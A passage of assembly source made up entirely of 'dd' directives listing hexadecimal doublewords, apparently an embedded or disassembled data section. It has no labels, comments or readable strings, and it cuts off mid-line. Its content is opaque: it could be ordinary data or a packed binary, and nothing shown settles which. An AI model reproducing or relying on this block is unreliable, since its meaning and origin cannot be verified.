0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h, 0F8347B59h dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h, 65F27Eh dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h, 0C82CB5h dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h, 6F9B014Ah dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h dd 64F7600h, 41B10CBCh, 61FC6400h, 65633B6Eh, 19200029h dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch, 99D7841Dh dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h, 8FEED912h dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h, 94F7FA3h dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch dd 3047D83h, 5570C09Bh, 0D0E70EC8h, 12BC62B8h, 0CAD95200h dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h, 0F601AF27h dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h dd 38840800h, 2761012h, 56E90009h, 33557EA5h, 6E1C8B78h dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh dd 18EC0C99h, 12A95A8h, 0AC0E495Fh, 0D8727D81h, 0FD007F63h dd 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah dd 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah dd 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h dd 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h dd 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h dd 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh dd 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h dd 429800E0h, 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h dd 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h, 0BEF93C48h dd 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h dd 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh dd 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h, 3D81D140h dd 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh dd 0B4B80A62h, 81AE1Eh, 6461C8BCh, 0DC009877h, 0CDC003EDh dd 6280F0h, 31E075EEh, 7C7E06FAh, 3EE66D58h, 30AA0044h dd 8D985EE6h, 18890235h, 5808050Bh, 810972C0h, 0DB033Fh dd 8F8B9B1Ch dd 4BC32Bh, 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch dd 4CE208h, 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h dd 94BC2441h, 0F61E3Ah, 8B28BB3Ah, 48010537h, 2C438319h dd 42301221h, 14660030h, 16BE8B50h, 0FE00344Ah, 7B80DE02h dd 0D6C103h, 0F2B0576Eh, 0EA52BA68h, 5900D5ECh, 0F84E8D6Dh dd 6C0394Ah, 7705F980h, 49FAFC51h, 1904DAFAh, 1708B710h dd 29C01E87h, 0B8913248h, 89560009h, 33EB684Bh, 7A1CC72Bh dd 6E407980h, 1081322h, 88191D90h, 1E101D02h, 3E071E04h dd 0CEF62780h, 0DE89F1Bh, 850F240Bh, 8A3980CCh, 73E43h dd 1D74052Ch, 4F83C8FEh, 0F50EE3Ah, 0D488FA08h, 842E00BCh dd 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h dd 48F38918h, 8009939h, 0C8C111ADh, 8E00D509h, 14550E9h dd 0FA1833FDh, 25F822h, 367B8D05h, 0EB1354BEh, 5C9DA30Fh dd 17E980C3h, 14801ABh, 425E8414h, 0EDE4F2B4h, 5CBCE488h dd 74F244F2h, 5026A9F2h, 57038171h, 0B80B20EDh, 3E548602h dd 6583C976h, 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch dd 7614868Ah, 5D450349h, 97D45942h, 0BDA400F5h, 93208BF1h dd 0E807CC98h, 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh dd 11012C3Ch, 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h dd 5310601Dh, 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h dd 0D40B944Fh, 0ED145Ch, 136DA48Fh, 0E274067Ch, 4409000Eh dd 3E882E1Eh, 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h dd 0E6A01499h, 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h dd 0EB2B5A20h, 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h dd 4014C95Fh, 0E57C115Dh, 4C00210Eh, 3BF23C10h, 264B22BCh dd 19142Ah, 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h dd 9FB0000Ah, 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h dd 36383420h, 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h dd 0ECFA5390h, 2E0F323Ch, 0FD660D4h, 80BDCAE7h, 7257865Fh dd 2DE06269h, 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h dd 3400291Ch, 505B7660h, 695D03h, 2F856D75h, 0D4309401h dd 535E3Ah, 0C2E349BCh, 436517h, 0B6B2BE1Ch, 6D90B56Eh dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h, 0B01E005Ch dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh dd 479430Bh, 4CCA7831h, 2000E698h, 76324D58h, 0EE476113h dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h, 3000540h dd 8788021h, 0E8F0110h, 0EAA90750h, 0FE09BBC1h, 0E9D260CAh dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h, 0C0219829h dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h, 88649002h dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h, 8AE04B2Dh dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h, 0F124E50Bh dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah dd 76968CBh, 587F8470h, 0C3E4435Ch, 6007E8C3h, 0EC100146h dd 6404B290h, 0F0F251h, 725411D8h, 736E6103h, 74656D00h dd 437C19B6h, 775727Bh, 0DC34916Fh, 54CC429Dh, 8AABD540h dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h, 0C627018Eh dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h dd 3641378h, 45287C14h, 780521Fh, 0DC008496h, 0E8C0C68Fh dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h, 218068DBh dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh, 331F8471h dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h, 30451ABh dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh dd 30B62A12h, 1A93867h, 59510A0Fh, 658FA0B8h, 1C1745FEh dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h dd 4B829AEh, 2B641F03h, 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah, 4C331E45h dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh, 4301B738h dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h, 0B7280016h dd 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh, 0A6D8E974h, 0FC7540h dd 0AD9B914h, 354A5C20h, 44008874h, 73102B74h, 7658B2AEh dd 0BC30E717h, 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h dd 0ACA41040h, 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh dd 1E5700B6h, 8C3DA1BCh, 0C000BEA0h, 7D258D13h, 73B30A2h dd 0B5F8FB8Bh, 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh dd 17AB0082h, 0EA34DC5Dh, 87002C45h, 597E294Bh, 1184A1Bh dd 0BA9444CBh, 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h dd 0B1404D54h, 30FD3896h, 285C0CFCh, 83090115h, 5054A4C4h dd 0FECB59C4h, 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh dd 0A016484Fh, 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h dd 0B1569FA2h, 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh dd 1100B26h, 3D801499h, 2AE15B18h, 0A4EFB0h, 98CE92BFh dd 7E591277h, 0B409C401h, 25A656A3h, 0F26AC9CCh, 0C8CD002Fh dd 8821AF1Ch, 191ECA9Bh, 99C0A543h, 0DF09D611h, 0BEE85C10h dd 0F101330Fh, 3BFFA6Eh, 221A390Ah, 0F8442AA9h, 0EB00883Ch dd 5C61976h, 2601E7A0h dd 0FA96DE5h, 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h dd 0E65B800h, 391048BCh, 0CC00059h, 0C4908529h, 156719C8h dd 54F02006h, 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h dd 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh dd 923B5F00h, 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h dd 0DFFE3862h, 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h dd 2934CC06h, 1EE42D83h, 5C1A0102h, 0E0406F2Ch, 0B0A26E1Ch dd 0C5CC00C3h, 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h dd 14EEAE8h, 8FDDCEEAh, 0D4C709D2h, 0C60FE099h, 0E02AB67Ah dd 0D62B49AEh, 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h dd 64BCD3B7h, 0F9532610h, 80FD0001h, 870D048Fh, 0BF2A9E03h dd 0A04FA86Bh, 0AC6865h, 40C683D1h, 0B0F8608h, 1448C0EEh dd 0A5AD0063h, 642D24FBh, 580203F5h, 76DB850Ch, 21C144C0h dd 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah, 56107005h, 3D0C36E3h dd 0DF5144D8h, 6E297A00h, 8833022Bh, 75080042h, 1643C394h dd 0E047953h, 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h dd 8000F6F0h, 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h dd 7E0010B4h, 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah dd 72006116h, 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh dd 7906C3Eh, 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h dd 78E6304Bh, 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h dd 0D06023D6h, 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh dd 2F22F114h, 244EC8DDh, 0E4082112h, 8C6C8000h, 2CFEF084h dd 0CAEE65h, 1625DCF4h, 3400AA11h, 6A9488F3h, 0ABCF4Fh dd 54801B6Ch, 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h dd 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h, 3A294100h dd 8D8263BCh, 0F87885h, 1975809Ah, 92D2FCF4h, 0D1411300h dd 0FEEC5D43h, 9DD000E4h, 5F0B0879h, 50E41E5Bh, 856D7100h dd 0F7659784h, 1294004Ah, 2224CA1Dh, 5C0B0810h, 80727453h dd 0A5AB2D16h, 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h dd 4A82BEh, 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h dd 880B39ECh, 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh, 0ACBC00F4h dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh, 0C8F72873h dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh, 40B36965h dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h dd 31A1866h, 88104619h, 0C8064301h, 1890141Bh, 2E9104E0h dd 73A381Ch, 50AE961Ah, 0D27CB865h, 29339F00h, 13AB9C4Ah dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h, 0F188A18Bh dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h dd 38A473h, 0C29887E9h, 145A52E6h, 369FB40Eh, 0BF2B0Fh dd 8E1F3EACh, 471000Bh, 0FD27CCFEh, 5F01AF12h, 38EA1CD1h dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh, 0A5D4459Fh dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h, 686C6Ah dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h, 0CE090C9Ch dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h, 2E1977D0h dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h, 2E10033h dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h, 0B95E882Fh dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h, 0BE0092ADh dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h, 0AF0A5406h dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h dd 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh dd 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h dd 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h dd 5800EF32h, 19F7EAA7h, 0F8BD7076h, 223B00D7h, 2C683603h dd 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h dd 0BD49F300h, 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h dd 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h dd 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h, 0C0F1A8D1h dd 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h dd 4303B022h, 148D7A37h, 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh dd 5F4DA4D1h, 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h dd 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h dd 943DA9ACh, 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h dd 0FF007775h, 57ADCC67h, 0BC002C9Eh, 0DAE74272h, 0C34316h dd 0EB22354Eh, 1D6CD5CCh, 13D895h, 3768B8B9h, 0C5648DBh dd 0D8BD0B00h, 41FA4E4h, 5FE800D6h, 0E3FE0146h, 0E2F4297Eh dd 0F44D6200h, 17B11E9Ch dd 0A5C00ACh, 4FF2C727h, 1B002910h, 0DA6CB74Ah, 3E3BA908h dd 5F8346C2h, 0EE58E276h, 515EB5E0h, 30E1F43Ah, 3E1378D4h dd 0A8BC0020h, 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h dd 0F982008Fh, 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh dd 0F7700651h, 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h dd 0ECC28EF4h, 0DBF12124h, 3A14538h, 6838801Ah, 0AAAA875h dd 94431FFDh, 6E90004h, 0C525A2D9h, 0E88660E3h, 2AD0AF60h dd 0FC2336h, 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h, 86C42B13h dd 0A11C0721h, 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h dd 0B44AE3h, 9E151AA0h, 0CA2B89B6h, 458BD401h, 952AA2B8h dd 1D6B0F20h, 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh dd 71F07908h, 89AF0F84h, 34228CD4h, 0E3E35465h, 87EB50EBh dd 25FF16F8h, 0C0F84400h, 1C401099h, 478E003Ch, 91342338h dd 2C00C830h, 247228E4h, 0E21C2039h, 18412D8Eh, 3F30D4h dd 0A4C4B4A6h, 3E6D29DDh, 5002814h, 94E8F35Ah, 0B5F2BF4Fh dd 8404D000h, 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h dd 2EFF0B7Ch, 0FED175h, 7D3944BDh, 4C740482h, 9B3FEB00h dd 7B8AF19h, 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh dd 3BF7750Ah, 5C0AE0BFh, 1E964E35h, 0CB02C121h, 0E8A5E983h dd 410072FBh, 880F7F0Ch, 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h dd 0B10023F9h, 6E22DDABh, 0B540F6h, 51E29456h, 2DC5BE53h dd 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h dd 8205D4ADh, 4A10700h, 182B376Ch, 1688006Bh, 22F35EDEh dd 531C4FD7h, 0EDD2C220h, 7998B900h, 28FF6B26h, 0BC2CA6h dd 0C7031E14h, 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h dd 422ABE3h, 2C71C582h, 0E4888032h, 8900141Fh, 2E051043h dd 1060Ch, 667F6854h, 3D53004h, 0DF6EC800h, 0C6097D60h dd 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh dd 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h dd 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh dd 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h dd 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h, 0B204D085h dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h dd 9CE47Dh, 0E8C28B30h, 0A73D322Ah, 16032500h, 59396491h dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h, 46BA44Dh dd 88E422h, 0A8903419h, 80282429h, 0E0103D02h, 0C0135074h dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh, 64882238h dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h dd 1CF5CD4h, 5ABB4A3Ch, 307B71ABh, 8000019Ch, 742DFC78h dd 0B8D71Eh, 135DB2A4h, 0DE2F0451h, 4F5A8000h, 0E16A88C6h dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h dd 0EB3F19A8h, 8AE705h, 0BC84A663h, 5C766AE1h, 0E810C004h dd 0FAC04607h, 12D11Bh, 47653D1Dh, 0E688554h, 8ECE3EFAh dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h, 0FC00A23Ch dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h dd 0A75D253h, 0A54494h, 0E38F8BDDh, 49F3C755h, 3CF8F970h dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h, 14008E4h dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h dd 3B63F059h, 3EC3064h, 0C429C314h, 77BB4418h, 0F622CAF0h dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh dd 0A701DC03h, 